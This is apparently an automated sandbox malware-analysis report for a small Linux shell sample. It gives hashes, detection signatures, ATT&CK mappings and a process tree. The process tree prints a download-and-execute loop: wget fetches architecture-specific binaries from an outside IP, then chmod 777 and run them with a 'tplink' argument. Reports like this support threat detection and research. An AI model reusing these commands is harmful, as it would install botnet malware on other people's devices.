dfe98e59caa58d7bd3c32bf43a0e279ab6102b84c283092fc5cfaca12447e7f6

Analysis

max time kernel
136s
max time network
138s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
30/07/2026, 15:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dfe98e59caa58d7bd3c32bf43a0e279ab6102b84c283092fc5cfaca12447e7f6
Size 530B
Sample260730-ta64ss1fpc
SHA256 dfe98e59caa58d7bd3c32bf43a0e279ab6102b84c283092fc5cfaca12447e7f6
MD5 cd5764bb86932b3d41de5b3301aa99c6
SHA1 78fc05fe5413049d7721c3f20cbeb8f9f3140ac7
SHA512 566153f8f5a502a0a8d4a3781bc5ecb001796a232461307f2e48e474208c8195bf9a043512cd86bc20866883228b5c2513569a153389e0dce8cb8ebbc4af7b26
TLSH
T11AF08BED949640323F0D543771194C556602082F24B95BDD224E99635E0CFA8334EB33
MD5 SHA1 SHA512 TLSH

Score

9^/10

defense_evasion discovery

Malware Config

Signatures

Detects suspicious XORed keyword - Mozilla/5.0 5 IoCs

resource	yara_rule
behavioral1/files/fstream-1.dat	SUSP_XORed_Mozilla
behavioral1/files/fstream-2.dat	SUSP_XORed_Mozilla
behavioral1/files/fstream-3.dat	SUSP_XORed_Mozilla
behavioral1/files/fstream-4.dat	SUSP_XORed_Mozilla
behavioral1/files/fstream-6.dat	SUSP_XORed_Mozilla

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1521	chmod
1526	chmod
1501	chmod
1506	chmod
1511	chmod
1516	chmod
1533	chmod
1538	chmod
1490	chmod
1496	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/d	1491	dfe98e59caa58d7bd3c32bf43a0e279ab6102b84c283092fc5cfaca12447e7f6
/tmp/d	1497	dfe98e59caa58d7bd3c32bf43a0e279ab6102b84c283092fc5cfaca12447e7f6
/tmp/d	1502	dfe98e59caa58d7bd3c32bf43a0e279ab6102b84c283092fc5cfaca12447e7f6
/tmp/d	1507	dfe98e59caa58d7bd3c32bf43a0e279ab6102b84c283092fc5cfaca12447e7f6
/tmp/d	1512	dfe98e59caa58d7bd3c32bf43a0e279ab6102b84c283092fc5cfaca12447e7f6
/tmp/d	1517	dfe98e59caa58d7bd3c32bf43a0e279ab6102b84c283092fc5cfaca12447e7f6
/tmp/d	1522	dfe98e59caa58d7bd3c32bf43a0e279ab6102b84c283092fc5cfaca12447e7f6
/tmp/d	1527	dfe98e59caa58d7bd3c32bf43a0e279ab6102b84c283092fc5cfaca12447e7f6
/tmp/d	1534	dfe98e59caa58d7bd3c32bf43a0e279ab6102b84c283092fc5cfaca12447e7f6
/tmp/d	1539	dfe98e59caa58d7bd3c32bf43a0e279ab6102b84c283092fc5cfaca12447e7f6

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1482	wget

Writes file to tmp directory 10 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget

/tmp/dfe98e59caa58d7bd3c32bf43a0e279ab6102b84c283092fc5cfaca12447e7f6
/tmp/dfe98e59caa58d7bd3c32bf43a0e279ab6102b84c283092fc5cfaca12447e7f6
1⤵
- Executes dropped EXE
PID:1480
- /bin/rm
  rm -rf d
  2⤵
  PID:1481
- /usr/bin/wget
  wget -q http://95.155.151.113/d/xd.mips -O d
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1482
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1490
- /tmp/d
  ./d tplink
  2⤵
  PID:1491
- /bin/rm
  rm -rf d
  2⤵
  PID:1493
- /usr/bin/wget
  wget -q http://95.155.151.113/d/xd.mpsl -O d
  2⤵
  - Writes file to tmp directory
  PID:1494
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1496
- /tmp/d
  ./d tplink
  2⤵
  PID:1497
- /bin/rm
  rm -rf d
  2⤵
  PID:1499
- /usr/bin/wget
  wget -q http://95.155.151.113/d/xd.arm -O d
  2⤵
  - Writes file to tmp directory
  PID:1500
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1501
- /tmp/d
  ./d tplink
  2⤵
  PID:1502
- /bin/rm
  rm -rf d
  2⤵
  PID:1504
- /usr/bin/wget
  wget -q http://95.155.151.113/d/xd.arm5 -O d
  2⤵
  - Writes file to tmp directory
  PID:1505
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1506
- /tmp/d
  ./d tplink
  2⤵
  PID:1507
- /bin/rm
  rm -rf d
  2⤵
  PID:1509
- /usr/bin/wget
  wget -q http://95.155.151.113/d/xd.arm6 -O d
  2⤵
  - Writes file to tmp directory
  PID:1510
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1511
- /tmp/d
  ./d tplink
  2⤵
  PID:1512
- /bin/rm
  rm -rf d
  2⤵
  PID:1514
- /usr/bin/wget
  wget -q http://95.155.151.113/d/xd.arm7 -O d
  2⤵
  - Writes file to tmp directory
  PID:1515
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1516
- /tmp/d
  ./d tplink
  2⤵
  PID:1517
- /bin/rm
  rm -rf d
  2⤵
  PID:1519
- /usr/bin/wget
  wget -q http://95.155.151.113/d/xd.ppc -O d
  2⤵
  - Writes file to tmp directory
  PID:1520
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1521
- /tmp/d
  ./d tplink
  2⤵
  PID:1522
- /bin/rm
  rm -rf d
  2⤵
  PID:1524
- /usr/bin/wget
  wget -q http://95.155.151.113/d/xd.spc -O d
  2⤵
  - Writes file to tmp directory
  PID:1525
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1526
- /tmp/d
  ./d tplink
  2⤵
  PID:1527
- /bin/rm
  rm -rf d
  2⤵
  PID:1529
- /usr/bin/wget
  wget -q http://95.155.151.113/d/xd.m68k -O d
  2⤵
  - Writes file to tmp directory
  PID:1530
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1533
- /tmp/d
  ./d tplink
  2⤵
  PID:1534
- /bin/rm
  rm -rf d
  2⤵
  PID:1536
- /usr/bin/wget
  wget -q http://95.155.151.113/d/xd.sh4 -O d
  2⤵
  - Writes file to tmp directory
  PID:1537
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1538
- /tmp/d
  ./d tplink
  2⤵
  PID:1539
- /bin/rm
  rm -rf d
  2⤵
  PID:1541

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Path /tmp/d
Size 663KB
SHA256 44803559c71a805c0400f3647ff6384dcdfe7a79254910b7fe514ee1e258c12d
MD5 300f4772fcc68e8fd6b04b79103f1312
SHA1 a34e722b0a1d6c6c5908eaf7f3b4201860ba7a41
SHA512 b4c98356a249f57fd1792ababe53dcdb149e04186428fca0882721a72ba2bd389c406e2dd8b1b2bc1bc2bb3e2837b8e69b4f8af935e52b3d16b4cec91d2d30f2
SSDEEP 12288:+NWlDM4bd+uuCBozDHoeca/QDTgKekrAGe/978p9pkkB8goG:hM4bIuuCyDoQ/QD9ek5e/ykkT
TLSH
T1C2E47D93B7228F94E361D27105F38B555AA921A307F350C2A37DC6207A50A6D6C2FFF9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/d
Size 663KB
SHA256 537079272b0ccda68ba39a657e83549c91ba45d9eecefd29db322a200d08f354
MD5 19b70058bc7440ba1e42725c3ade871e
SHA1 e66e448099f7662c836b17c7be7f5f29a680df6e
SHA512 cb749388652d7da07c6a3db1c3f172c6f43f3306b6a55c9ba7613f9337a38ddd1f8c64a87f9826562c0e619c312a796c0f802bbc66f3f00ed2364934f98dc323
SSDEEP 12288:MqrfCJGsLrfDEB+U6c6hJpqnRcpqS/cSzVd9sJ7hlOiOh0y+yrh2Zn/4o2mM2ItM:Ly2YgLxKx19T1D/fmh4RCJsfedCnd
TLSH
T1A6E46B02EF441FEBC4AFCD30853E874B15DD998712D1A7B9A1FC894CBA8D65A4BD3488
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/d
Size 562KB
SHA256 c18b493bdf0403f015b58745c3ef3b18a7253437fcb567a1e5f63a2887eeaad1
MD5 d3141c1b7a72029581fb390c542f722f
SHA1 369fd6ef014a551a1757d91ae81139f63f690a0c
SHA512 ea37fe933525eb0b7a53feeb25807aa01f97be40b0dee60bafe642d92ef7884efaec256987a7dc110c62427184183acef2224120de100c59f593b23104958699
SSDEEP 12288:OYdSUhlhAs+S0XfB+LtviNb0kd0iy8pLb/S:OTUhlhdGB+BwL9
TLSH
T103C44955F8809F61C6D539B6F64D42AC730747B9C3EB72069A244B343BDB8AB0B3A705
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/d
Size 77KB
SHA256 bab2dee1fc862cd6915bd9d70222c6be76103111d78c67dc498842a6c681ffed
MD5 70af45cf0ca2bb6d98fb44febb71cef0
SHA1 dd30eadf337e35d820f2f78a03e41b6ad595d4cc
SHA512 a190a31956bc2ed8ba10bdf89b6c9954a2f3871cbf88a206ce25c1ce5b1efbf6730130418be948f02843655039d8180ee357bd47be05186a0da862e9ab9fe9de
SSDEEP 1536:ps1lKh2kqFeCDG0cF5NE4BpQnHmvqki9sefIF7ogDX:m1AhXMvU5G4BpQnHmJi6efoV
TLSH
T1B8732B82F8D1FE53C6D82A76BA1E119D332253F8D2DA3303CE144A1577CD5994A3AB4E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/d
Size 1.0MB
SHA256 0650aafe026bdbfbfcbc09cd9f139e9a07729dff6c5b707bf1db605607a7326f
MD5 991d9ef150ad69263a2760e94fc30719
SHA1 8cf80e2a915ec18f24044510428f6f003b23e938
SHA512 6ccdb79f8e31454d8b0f03fd9d3c166779c15d883504f84f5130204420db47440aba45be354e520ce01ecfc2ac579a6a0ece079ace3eef343a266a48d4b7c158
SSDEEP 12288:MceMXzGweBSmcs++9YQrzctpzOg9bGjYLdWx8E8pPKorKP+:qwzB7+9XzcPzhG8JK
TLSH
T1DC25BF62F7B06ED5C4120A700CE6D3344354B79803D36692FBEAC578384767ABE4DBA6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads